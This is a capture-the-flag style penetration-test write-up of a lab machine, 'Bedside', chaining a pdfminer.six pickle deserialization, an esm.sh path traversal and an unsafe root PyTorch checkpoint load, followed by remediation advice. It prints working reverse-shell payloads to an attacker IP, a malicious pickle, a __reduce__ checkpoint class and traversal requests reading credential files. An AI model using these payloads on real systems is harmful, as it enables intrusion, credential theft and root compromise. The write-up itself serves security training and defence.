Bedside exposed SSH and two HTTP virtual hosts. The unauthenticated research.bedside.htb portal accepted PDFs and gzipped files into a directory processed by a pdfminer.six container. A crafted PDF and malicious CMap pickle exploited CVE-2025-64512, yielding command execution as the container account datawrangler.
The container shared the host network namespace. A host-side esm.sh development server on TCP/3000 was vulnerable to CVE-2025-59341, allowing arbitrary host file reads. This disclosed /home/developer/user.txt and an unencrypted SSH private key for developer.
On the host, developer could run /usr/bin/python3 /opt/trainer/bedside_trainer.py as root without a password. The trainer loaded the newest checkpoint from the container-writable /datastore/checkpoints directory with MONAI's CheckpointLoader, which called torch.load(..., weights_only=False). A crafted PyTorch checkpoint therefore executed a reverse shell as root.
| Stage |
Result |
| Initial foothold |
CVE-2025-64512 → datawrangler container shell |
| Host user |
CVE-2025-59341 → SSH access as developer |
| Privilege escalation |
Unsafe root-side PyTorch deserialization → root |
| User flag |
/home/developer/user.txt |
| Root flag |
/root/root.txt |
Flag values are omitted here and stored in flags.txt with mode 0600.
1. Reachability and port discovery
The target responded with a TTL of 63 and approximately 65 ms latency:
$ ping -c 3 -W 2 10.129.31.197
64 bytes from 10.129.31.197: icmp_seq=1 ttl=63 time=66.5 ms
64 bytes from 10.129.31.197: icmp_seq=3 ttl=63 time=64.5 ms
A controlled full TCP connect scan found only ports 22 and 80:
$ nmap -Pn -n -sT -p- --min-rate 1000 --max-retries 2 -T4 \
-oA Bedside/evidence/nmap-all-tcp 10.129.31.197
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Targeted fingerprinting identified Debian, OpenSSH, Apache, and the required hostname:
$ nmap -Pn -n -sV -sC -p22,80 --version-all 10.129.31.197
22/tcp open ssh OpenSSH 10.0p2 Debian 7+deb13u4
80/tcp open http Apache httpd 2.4.68
|_http-title: Did not follow redirect to http://bedside.htb/
2. Web enumeration
2.1 Main virtual host
Non-privileged hostname resolution was used throughout:
$ curl --resolve bedside.htb:80:10.129.31.197 http://bedside.htb/
The page was a static clinic site. It disclosed contact@bedside.htb but had no useful forms, parameters, or application endpoints. robots.txt, sitemap.xml, and .well-known/security.txt returned 404. Content discovery found only the expected index and Apache's /javascript alias:
index.php 200 7189 bytes
javascript 301 355 bytes
2.2 Virtual-host discovery
$ ffuf -u http://10.129.31.197/ \
-H 'Host: FUZZ.bedside.htb' \
-w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt \
-ac -t 25 -rate 100
research [Status: 200, Size: 3152]
research.bedside.htb presented an unauthenticated upload form accepting medical images, PDFs, ZIPs, and GZIP files. Every response included:
X-Powered-By: pdfminer.six
The form field was uploadFile. A .txt file was rejected, while a benign PDF was accepted:
$ curl --resolve research.bedside.htb:80:10.129.31.197 \
-F 'uploadFile=@probe.pdf;type=application/pdf' \
http://research.bedside.htb/
<div class="message">File uploaded successfully: probe.pdf</div>
The file was retrievable at /uploads/probe.pdf; directory listing was forbidden.
3. Initial access — pdfminer.six CMap deserialization
3.1 Vulnerability reasoning
The component header, PDF ingestion, and acceptance of .gz files matched GHSA-wf5f-4jwr-ppcp / CVE-2025-64512.
Affected versions deserialize gzipped Python pickle CMaps. A PDF font /Encoding can be an absolute path encoded as a PDF name. pdfminer.six appends .pickle.gz, opens that path, and calls pickle.loads. The portal supplied both primitives:
- Store
bedside-rce.pickle.gz in the upload directory.
- Store a PDF whose
/Encoding points to its absolute basename.
- Wait for the background watcher to process the PDF.
The working path and PDF name were:
/var/www/research.bedside.htb/uploads/bedside-rce.pickle.gz
/Encoding /#2Fvar#2Fwww#2Fresearch.bedside.htb#2Fuploads#2Fbedside-rce
3.2 Harmless validation
Before requesting a shell, a protocol-0 pickle was inspected and compressed. It only sent BEDSIDE_RCE to the assessment host:
cposix
system
p0
(V/usr/bin/bash -c 'echo BEDSIDE_RCE >/dev/tcp/10.10.14.78/4444'
p1
tp2
Rp3
.
$ gzip -c bedside-rce.pickle > bedside-rce.pickle.gz
$ ruby evidence/build_pdfminer_probe.rb probe.pdf \
/var/www/research.bedside.htb/uploads/bedside-rce
$ nc -lvnp 4444
$ curl --resolve research.bedside.htb:80:10.129.31.197 \
-F 'uploadFile=@bedside-rce.pickle.gz;type=application/gzip' \
http://research.bedside.htb/
$ curl --resolve research.bedside.htb:80:10.129.31.197 \
-F 'uploadFile=@probe.pdf;type=application/pdf' \
http://research.bedside.htb/
connect to [10.10.14.78] from [10.129.31.197]
BEDSIDE_RCE
3.3 Container shell
The command was changed to a reverse shell on TCP/4445 and the pair was uploaded again:
/usr/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.78/4445 0>&1'
datawrangler@data-wrangler:/app$ id
uid=988(datawrangler) gid=1001(dataops) groups=1001(dataops)
datawrangler@data-wrangler:/app$ hostname
data-wrangler
The watcher confirmed the exact paths:
UPLOAD_DIR = "/var/www/research.bedside.htb/uploads"
OUTPUT_DIR = "/datastore/staging"
subprocess.run(["pdf2txt.py", pdf_path, "-o", output_file], ...)
Mount inspection showed /dev/sda4 mounted into the container at /datastore and at the upload directory.
4. Container to host — esm.sh LFI
The container shared the host network namespace. A direct request revealed a host service on TCP/3000:
datawrangler@data-wrangler:/app$ curl -i http://127.0.0.1:3000/
HTTP/1.1 200 OK
<title>Bedside Clinic - Image Viewer</title>
...
Built with esm.sh/x
GHSA-49pv-gwxp-532r / CVE-2025-59341 documents a traversal in the /pr/ route. The read-only proof returned the host's passwd file:
datawrangler@data-wrangler:/app$ curl --path-as-is \
'http://127.0.0.1:3000/pr/x/y@99/../../../../../../../../../../etc/passwd?raw=1&module=1'
developer:x:1000:1000:developer,,,:/home/developer:/bin/bash
The same primitive retrieved the user flag and SSH key:
$ curl --path-as-is \
'http://127.0.0.1:3000/pr/x/y@99/../../../../../../../../../../home/developer/user.txt?raw=1&module=1'
$ curl --path-as-is \
'http://127.0.0.1:3000/pr/x/y@99/../../../../../../../../../../home/developer/.ssh/id_rsa?raw=1&module=1'
Credential finding:
- Account:
developer
- Key type: Ed25519 in an unencrypted OpenSSH private-key file named
id_rsa
- Public key:
AAAAC3NzaC1lZDI1NTE5AAAAICJ/sO1VD1fbfq+USF3RXNInRklXPKvABvvNPkg5mi0A
- Private key evidence:
evidence/developer_id_rsa (mode 0600)
$ ssh -i evidence/developer_id_rsa developer@10.129.31.197
$ id
uid=1000(developer) gid=1000(developer) groups=1000(developer),100(users)
$ hostname
bedside
User flag location: /home/developer/user.txt.
5. Privilege escalation — unsafe root checkpoint loading
5.1 Sudo and trainer analysis
developer@bedside:~$ sudo -n -l
User developer may run the following commands on bedside:
(ALL) NOPASSWD: /usr/bin/python3 /opt/trainer/bedside_trainer.py
The rule applied only to the exact no-argument command; adding --help requested a password. The trainer selected the newest .pt file from a shared directory:
CHECKPOINT_DIR = Path("/datastore/checkpoints")
latest_ckpt = find_latest_checkpoint(CHECKPOINT_DIR)
loader = CheckpointLoader(
load_path=str(latest_ckpt),
load_dict={"model": model, "optimizer": optimizer},
map_location=DEVICE
)
loader(engine)
Runtime inspection found torch 2.5.0+cpu and monai 1.5.0. The installed CheckpointLoader.__call__ used:
checkpoint = torch.load(self.load_path,
map_location=self.map_location,
weights_only=False)
The container account owned /datastore/checkpoints and /datastore/processed with mode 0770. A lower-trust container therefore controlled objects deserialized by root.
5.2 Crafting and staging the checkpoint
The inspected evidence/build_checkpoint.py created a transient callback:
import os
import torch
class RootCallback:
def __reduce__(self):
cmd = "/usr/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.78/4446 0>&1'"
return os.system, (cmd,)
torch.save(
{"model": RootCallback(), "optimizer": {}, "epoch": 0},
"/home/developer/checkpoint_root_callback.pt",
)
A benign 64×64 PNG allowed model construction to finish before checkpoint loading. The checkpoint and PNG were briefly served over host loopback, then fetched by the container into the shared datastore:
developer@bedside:~$ python3 evidence/build_checkpoint.py
developer@bedside:~$ python3 -c \
"from PIL import Image; Image.new('L',(64,64),0).save('/home/developer/bedside_sample.png')"
developer@bedside:~$ python3 -m http.server 8000 --bind 127.0.0.1 \
--directory /home/developer
datawrangler@data-wrangler:/app$ curl -fsS \
http://127.0.0.1:8000/checkpoint_root_callback.pt \
-o /datastore/checkpoints/checkpoint_root_callback.pt
datawrangler@data-wrangler:/app$ curl -fsS \
http://127.0.0.1:8000/bedside_sample.png \
-o /datastore/processed/bedside_sample.png
5.3 Root proof
With a listener on TCP/4446, the exact allowed command triggered deserialization:
developer@bedside:~$ sudo -n /usr/bin/python3 /opt/trainer/bedside_trainer.py
root@bedside:/home/developer# id
uid=0(root) gid=0(root) groups=0(root)
root@bedside:/home/developer# whoami
root
root@bedside:/home/developer# hostname
bedside
Root flag location: /root/root.txt.
The trainer later raised TypeError: Expected state_dict to be dict-like, got <class 'int'>; this occurred after the pickle reducer executed and is expected.
Research upload and PDF processing
- Upgrade
pdfminer.six; the upstream advisory lists >=20251230 as patched.
- Do not accept serialized Python objects,
.pickle.gz, or arbitrary .gz uploads.
- Store uploads outside the web root under server-generated names.
- Process files once and atomically move them out of the intake directory.
- Run conversion without host networking and with minimal read-only mounts.
esm.sh service
- Upgrade or remove the development server and patch CVE-2025-59341.
- Canonicalize paths, reject traversal, and ensure the final path remains below the project root.
- Do not assume loopback is private when containers share the host network namespace.
Credentials
- Revoke and rotate the disclosed
developer SSH key.
- Prefer passphrase-protected keys or short-lived certificates, while fixing the arbitrary-read root cause.
Trainer and sudo boundary
- Remove the root sudo path or train as a dedicated unprivileged account.
- Never deserialize checkpoints from directories writable by lower-trust producers.
- Use
torch.load(..., weights_only=True) where compatible or a non-executable format such as safetensors.
- Sign checkpoints and make the trusted checkpoint directory root-owned and non-writable by containers.
- Separate upload, processing, and privileged-training queues by ownership and validation.